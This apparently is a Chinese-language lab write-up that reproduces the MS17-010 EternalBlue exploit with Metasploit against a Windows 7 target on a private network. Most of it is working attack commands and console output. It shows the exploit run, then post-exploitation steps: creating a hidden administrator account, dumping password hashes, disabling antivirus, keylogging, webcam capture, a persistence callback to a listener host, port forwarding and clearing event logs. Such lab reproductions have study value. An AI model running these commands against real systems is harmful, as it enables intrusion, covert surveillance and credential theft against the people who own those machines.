这里说到了SMB,那么SMB协议又是什么呢?
攻击机信息
kali
ip:192.168.1.30
靶机信息
Windows 7 and Server 2008 R2 (x64)
ip:192.168.1.33
总的来说
Metasploit框架(简称MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编 写的模板化框架,具有很好的扩展性,便于渗透测试人员开发,使用定制的工具模板。
该工具有六个模块,分别为辅助模块(auxiliary)、渗透攻击模块
(exploits)、后渗透攻击模块(post)、攻击载荷模块(payloads)、空指令模
块(nops)、编码器模块(encoders),其中msf为总模块,其他均为分支模
块。
输入:msfconsole
auxiliary/scanner/smb/smb_ms17_010
是永恒之蓝扫描模块,探测主机是否存在MS17_010漏洞exploit/windows/smb/ms17_010_eternalblue
是永恒之蓝攻击代码,一般配合使用,前者先扫描,若显示有漏洞,再进行攻击auxiliary/scanner/smb/smb_ms17_010
进行验证是否存在永恒之蓝漏洞该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试
use auxiliary/scanner/smb/smb_ms17_010
或使用use 4
命令:
msf6 > use 4 //或 use auxiliary/scanner/smb/smb_ms17_010 //验证漏洞
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.1.33 //设置靶机IP
rhost => 192.168.1.33
msf6 auxiliary(scanner/smb/smb_ms17_010) > run //执行
msf6 auxiliary(scanner/smb/smb_ms17_010) > use 0 ////use exploit/windows/smb/ms17_010_eternalblue 效果一样
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp ////表示默认攻击载荷为 exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads ////该命令可以查看当前漏洞利用模块下可用的所有Payload
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64
中
间
略
去
56 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
show payloads
查看攻击载荷
Exploit completed, but no session was created
,建议切换不同的payload尝试
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.1.33 //设置目标攻击ip(如果有多个攻击目标ip间直接用空格隔)开就行
rhost => 192.168.1.33
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 31 //设置攻击载荷
payload => windows/x64/powershell_bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
可以发现target没有设置,target可以使用默认设置
0 Automatic Target
,为了提高成功率也可以指定,LPORT为反弹shell的监听端口,可以自行设定,本次我设置为10243
msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf6 exploit(windows/smb/ms17_010_eternalblue) > set target 0
target => 0
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 10243 /设置用于接收从目标机弹回来的shell
lport => 10243
msf6 exploit(windows/smb/ms17_010_eternalblue) > run //执行攻击 exploit(run)
shell
即可切换到目标主机的windows shellnet user hack 123456 /add //在windows 7上创建一个hack的用户,以便下次访问
net localgroup administrators hack /add //将hack加入到windows 7的本地管理员组中,以便获得更大权限
net user //查看windows 7本地用户
net localgroup administrators //查看windows 7本地管理员
可以看到hack用户已经添加到windows 7 的管理员组中
shell
退出到 meterpreter
,我们只需输入:exit
meterpreter
退出到MSF框架,输入:background
sessions -l
查看我们获得的shellsysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接
192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev
run hashdump #导出密码的哈希
感觉这个有点猛呀:(还能列出当前win7用户的账号和密码,怪我太菜了,这都要惊奇一下哈哈)
run hashdump
成功破解
运行程序
可以使用 execute 命令在目标系统中执行程序。使用方法如下:
execute 参数 -f 可执行文件
可选参数:
-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i: 跟进程进行交互
-m:从内存中执行
-t: 使用当前伪造的线程令牌运行进程
-s: 在给定会话中执行进程
远程桌面没有尝试,这个方法先记录着,以后学习
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump #dump出所有用户的hash
永恒之蓝漏洞复现(ms17-010)
内网渗透—MS17-010复现
永恒之蓝漏洞利用及攻击